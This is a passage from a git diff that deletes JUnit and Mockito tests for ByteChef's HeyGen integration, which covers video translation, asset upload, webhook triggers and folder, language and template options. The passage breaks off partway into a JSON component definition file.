-        assertEquals("https://api.heygen.com/v2/template/1/generate", stringArgumentCaptor.getValue());
-        assertEquals(
-            Http.Body.of(
-                Map.of(FOLDER_ID, "2", CAPTION, false, ENABLE_SHARING, false), Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenTranslateVideoActionTest.java b/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenTranslateVideoActionTest.java
deleted file mode 100644
index 90f771b4696..00000000000
--- a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenTranslateVideoActionTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.action;
-
-import static com.bytechef.component.heygen.constant.HeyGenConstants.OUTPUT_LANGUAGE;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.TITLE;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.TRANSLATE_AUDIO_ONLY;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.VIDEO_URL;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class HeyGenTranslateVideoActionTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Object mockedObject = mock(Object.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(VIDEO_URL, "1", OUTPUT_LANGUAGE, "English", TITLE, "Test", TRANSLATE_AUDIO_ONLY, false));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of("data", mockedObject));
-
-        Object result = HeyGenTranslateVideoAction.perform(mockedParameters, null, mockedContext);
-
-        assertEquals(mockedObject, result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals("https://api.heygen.com/v2/video_translate", stringArgumentCaptor.getValue());
-        assertEquals(
-            Http.Body.of(
-                Map.of(VIDEO_URL, "1", OUTPUT_LANGUAGE, "English", TITLE, "Test", TRANSLATE_AUDIO_ONLY, false),
-                Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenUploadAssetActionTest.java b/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenUploadAssetActionTest.java
deleted file mode 100644
index 1b140700b93..00000000000
--- a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/action/HeyGenUploadAssetActionTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.action;
-
-import static com.bytechef.component.heygen.constant.HeyGenConstants.FILE_ENTRY;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class HeyGenUploadAssetActionTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final FileEntry mockedFileEntry = mock(FileEntry.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(Map.of(FILE_ENTRY, mockedFileEntry));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        when(mockedFileEntry.getMimeType())
-            .thenReturn("image/jpeg");
-
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.header(stringArgumentCaptor.capture(), stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of("data", Map.of("id", "1", "name", "test", "file_type", "image", "folder_id", "2")));
-
-        Object result = HeyGenUploadAssetAction.perform(mockedParameters, null, mockedContext);
-
-        assertEquals(Map.of("id", "1", "name", "test", "file_type", "image", "folder_id", "2"), result);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals(Http.Body.of(mockedFileEntry), bodyArgumentCaptor.getValue());
-        assertEquals(
-            List.of("https://upload.heygen.com/v1/asset", "Content-type", "image/jpeg"),
-            stringArgumentCaptor.getAllValues());
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/AbstractHeyGenTriggerTest.java b/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/AbstractHeyGenTriggerTest.java
deleted file mode 100644
index ea6ab6dd484..00000000000
--- a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/AbstractHeyGenTriggerTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.trigger;
-
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.heygen.util.HeyGenUtils;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.mockito.ArgumentCaptor;
-import org.mockito.MockedStatic;
-
-/**
- * @author Marija Horvat
- */
-class AbstractHeyGenTriggerTest {
-
-    protected WebhookBody mockedWebhookBody = mock(WebhookBody.class);
-    protected TriggerContext mockedTriggerContext = mock(TriggerContext.class);
-    protected MockedStatic<HeyGenUtils> heyGenUtilsMockedStatic;
-    protected ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-    protected ArgumentCaptor<TriggerContext> triggerContextArgumentCaptor = forClass(TriggerContext.class);
-    protected ArgumentCaptor<WebhookBody> webhookBodyArgumentCaptor = forClass(WebhookBody.class);
-
-    @BeforeEach
-    void beforeEach() {
-        heyGenUtilsMockedStatic = mockStatic(HeyGenUtils.class);
-    }
-
-    @AfterEach
-    void afterEach() {
-        heyGenUtilsMockedStatic.close();
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationCompletedTriggerTest.java b/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationCompletedTriggerTest.java
deleted file mode 100644
index 420f88ae205..00000000000
--- a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationCompletedTriggerTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.trigger;
-
-import static com.bytechef.component.heygen.constant.HeyGenConstants.ID;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerDefinition.WebhookEnableOutput;
-import com.bytechef.component.heygen.util.HeyGenUtils;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Marija Horvat
- */
-class HeyGenVideoGenerationCompletedTriggerTest extends AbstractHeyGenTriggerTest {
-
-    @Test
-    void testWebhookEnable() {
-        String webhhookUrl = "testWebhookUrl";
-
-        heyGenUtilsMockedStatic.when(
-            () -> HeyGenUtils.registerWebhook(
-                stringArgumentCaptor.capture(), triggerContextArgumentCaptor.capture(), stringArgumentCaptor.capture()))
-            .thenReturn("123");
-
-        WebhookEnableOutput webhookEnableOutput = HeyGenVideoGenerationCompletedTrigger.webhookEnable(
-            null, null, webhhookUrl, "", mockedTriggerContext);
-
-        WebhookEnableOutput expectedWebhookEnableOutput = new WebhookEnableOutput(Map.of(ID, "123"), null);
-
-        assertEquals(expectedWebhookEnableOutput, webhookEnableOutput);
-        assertEquals(List.of("avatar_video.success", webhhookUrl), stringArgumentCaptor.getAllValues());
-        assertEquals(mockedTriggerContext, triggerContextArgumentCaptor.getValue());
-    }
-
-    @Test
-    void testWebhookDisable() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(ID, "123"));
-
-        HeyGenVideoGenerationCompletedTrigger.webhookDisable(
-            null, null, mockedParameters, "", mockedTriggerContext);
-
-        heyGenUtilsMockedStatic.verify(() -> HeyGenUtils.deleteWebhook(mockedTriggerContext, "123"));
-    }
-
-    @Test
-    void testWebhookRequest() {
-        Map<String, Object> content = Map.of("id", 123);
-
-        heyGenUtilsMockedStatic.when(() -> HeyGenUtils.getWebhookEventData(webhookBodyArgumentCaptor.capture()))
-            .thenReturn(content);
-
-        Object result = HeyGenVideoGenerationCompletedTrigger.webhookRequest(
-            null, null, null, null, mockedWebhookBody, null, null, null);
-
-        assertEquals(content, result);
-        assertEquals(mockedWebhookBody, webhookBodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationFailedTriggerTest.java b/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationFailedTriggerTest.java
deleted file mode 100644
index 862af800bcf..00000000000
--- a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationFailedTriggerTest.java
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.trigger;
-
-import static com.bytechef.component.heygen.constant.HeyGenConstants.ID;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerDefinition.WebhookEnableOutput;
-import com.bytechef.component.heygen.util.HeyGenUtils;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Marija Horvat
- */
-class HeyGenVideoGenerationFailedTriggerTest extends AbstractHeyGenTriggerTest {
-
-    @Test
-    void webhookEnable() {
-        String webhhookUrl = "testWebhookUrl";
-
-        heyGenUtilsMockedStatic.when(
-            () -> HeyGenUtils.registerWebhook(
-                stringArgumentCaptor.capture(), triggerContextArgumentCaptor.capture(), stringArgumentCaptor.capture()))
-            .thenReturn("123");
-
-        WebhookEnableOutput webhookEnableOutput = HeyGenVideoGenerationFailedTrigger.webhookEnable(
-            null, null, webhhookUrl, "", mockedTriggerContext);
-
-        WebhookEnableOutput expectedWebhookEnableOutput = new WebhookEnableOutput(Map.of(ID, "123"), null);
-
-        assertEquals(expectedWebhookEnableOutput, webhookEnableOutput);
-        assertEquals(List.of("avatar_video.fail", webhhookUrl), stringArgumentCaptor.getAllValues());
-        assertEquals(mockedTriggerContext, triggerContextArgumentCaptor.getValue());
-    }
-
-    @Test
-    void webhookDisable() {
-        Parameters mockedParameters = MockParametersFactory.create(Map.of(ID, "123"));
-
-        HeyGenVideoGenerationFailedTrigger.webhookDisable(
-            null, null, mockedParameters, "", mockedTriggerContext);
-
-        heyGenUtilsMockedStatic.verify(() -> HeyGenUtils.deleteWebhook(mockedTriggerContext, "123"));
-    }
-
-    @Test
-    void webhookRequest() {
-        Map<String, Object> content = Map.of("id", 123);
-
-        heyGenUtilsMockedStatic.when(
-            () -> HeyGenUtils.getWebhookEventData(webhookBodyArgumentCaptor.capture()))
-            .thenReturn(content);
-
-        Object result = HeyGenVideoGenerationFailedTrigger.webhookRequest(
-            null, null, null, null, mockedWebhookBody,
-            null, null, null);
-
-        assertEquals(content, result);
-        assertEquals(mockedWebhookBody, webhookBodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/util/HeyGenUtilsTest.java b/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/util/HeyGenUtilsTest.java
deleted file mode 100644
index f4e4c74f2c9..00000000000
--- a/server/libs/modules/components/heygen/src/test/java/com/bytechef/component/heygen/util/HeyGenUtilsTest.java
+++ /dev/null
@@ -1,268 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.util;
-
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.ID;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.NAME;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.TEMPLATE_ID;
-import static org.junit.jupiter.api.Assertions.assertArrayEquals;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.Option;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.definition.TypeReference;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class HeyGenUtilsTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final ActionContext mockedContext = mock(ActionContext.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Object mockedObject = mock(Object.class);
-    private final Parameters mockedParameters = mock(Parameters.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final TriggerContext mockedTriggerContext = mock(TriggerContext.class);
-    private final WebhookBody mockedWebhookBody = mock(WebhookBody.class);
-    private final ArgumentCaptor<Object[]> queryArgumentCaptor = forClass(Object[].class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testDeleteWebhook() {
-        when(mockedTriggerContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.delete(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.queryParameter(stringArgumentCaptor.capture(), stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-
-        HeyGenUtils.deleteWebhook(mockedTriggerContext, "abc");
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-        assertEquals(
-            List.of("https://api.heygen.com/v1/webhook/endpoint.delete", "endpoint_id", "abc"),
-            stringArgumentCaptor.getAllValues());
-    }
-
-    @Test
-    void testGetFolderIdOptions() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.get(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.queryParameters(queryArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(
-                Map.of("data", Map.of("folders", List.of(Map.of(ID, "1", NAME, "a")), "token", "xy")),
-                Map.of("data", Map.of("folders", List.of(Map.of(ID, "2", NAME, "b")))));
-
-        List<Option<String>> result = HeyGenUtils.getFolderIdOptions(
-            mockedParameters, null, Map.of(), "", mockedContext);
-
-        assertEquals(List.of(option("a", "1"), option("b", "2")), result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals(List.of("https://api.heygen.com/v1/folders", "https://api.heygen.com/v1/folders"),
-            stringArgumentCaptor.getAllValues());
-
-        List<Object[]> queryArgumentCaptorAllValues = queryArgumentCaptor.getAllValues();
-
-        assertEquals(2, queryArgumentCaptorAllValues.size());
-
-        Object[] objects1 = {
-            "limit", 100, "token", null
-        };
-
-        Object[] objects2 = {
-            "limit", 100, "token", "xy"
-        };
-
-        assertArrayEquals(objects1, queryArgumentCaptorAllValues.getFirst());
-        assertArrayEquals(objects2, queryArgumentCaptorAllValues.getLast());
-    }
-
-    @Test
-    void testGetLanguageOptions() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.get(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of("data", Map.of("languages", List.of("English"))));
-
-        List<Option<String>> result = HeyGenUtils.getLanguageOptions(
-            mockedParameters, null, Map.of(), "", mockedContext);
-
-        assertEquals(List.of(option("English", "English")), result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals("https://api.heygen.com/v2/video_translate/target_languages", stringArgumentCaptor.getValue());
-    }
-
-    @Test
-    void testGetTemplateIdOptions() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.get(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(
-                Map.of("data", Map.of("templates", List.of(Map.of(TEMPLATE_ID, "1", NAME, "test")))));
-
-        List<Option<String>> result = HeyGenUtils.getTemplateIdOptions(
-            mockedParameters, null, Map.of(), "", mockedContext);
-
-        assertEquals(List.of(option("test", "1")), result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals("https://api.heygen.com/v2/templates", stringArgumentCaptor.getValue());
-    }
-
-    @Test
-    void testGetWebhookEventData() {
-        when(mockedWebhookBody.getContent(any(TypeReference.class)))
-            .thenReturn(Map.of("event_data", mockedObject));
-
-        Object result = HeyGenUtils.getWebhookEventData(mockedWebhookBody);
-
-        assertEquals(mockedObject, result);
-    }
-
-    @Test
-    void testRegisterWebhook() {
-        String webhookUrl = "testWebhookUrl";
-        String eventType = "testEventType";
-
-        when(mockedTriggerContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of("data", Map.of("endpoint_id", "1")));
-
-        String result = HeyGenUtils.registerWebhook(eventType, mockedTriggerContext, webhookUrl);
-
-        assertEquals("1", result);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Http.Configuration configuration = configurationBuilder.build();
-        Http.ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-        assertEquals("https://api.heygen.com/v1/webhook/endpoint.add", stringArgumentCaptor.getValue());
-        assertEquals(
-            Body.of(Map.of("url", webhookUrl, "events", List.of(eventType)), Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/test/resources/definition/heygen_v1.json b/server/libs/modules/components/heygen/src/test/resources/definition/heygen_v1.json
deleted file mode 100644
index f3242ac5b5e..00000000000
--- a/server/libs/modules/components/heygen/src/test/resources/definition/heygen_v1.json
+++ /dev/null
@@ -1,2472 +0,0 @@
-{
-  "actions": [ {
-    "batch": null,
-    "beforeResume": null,
-    "beforeSuspend": null,
-    "beforeTimeoutResume": null,
-    "deprecated": null,
-    "description": "Generates a video based on the specified template.",
-    "help": null,
-    "metadata": null,
-    "name": "generateVideoFromTemplateAction",
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "Unique identifier of the generated video.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
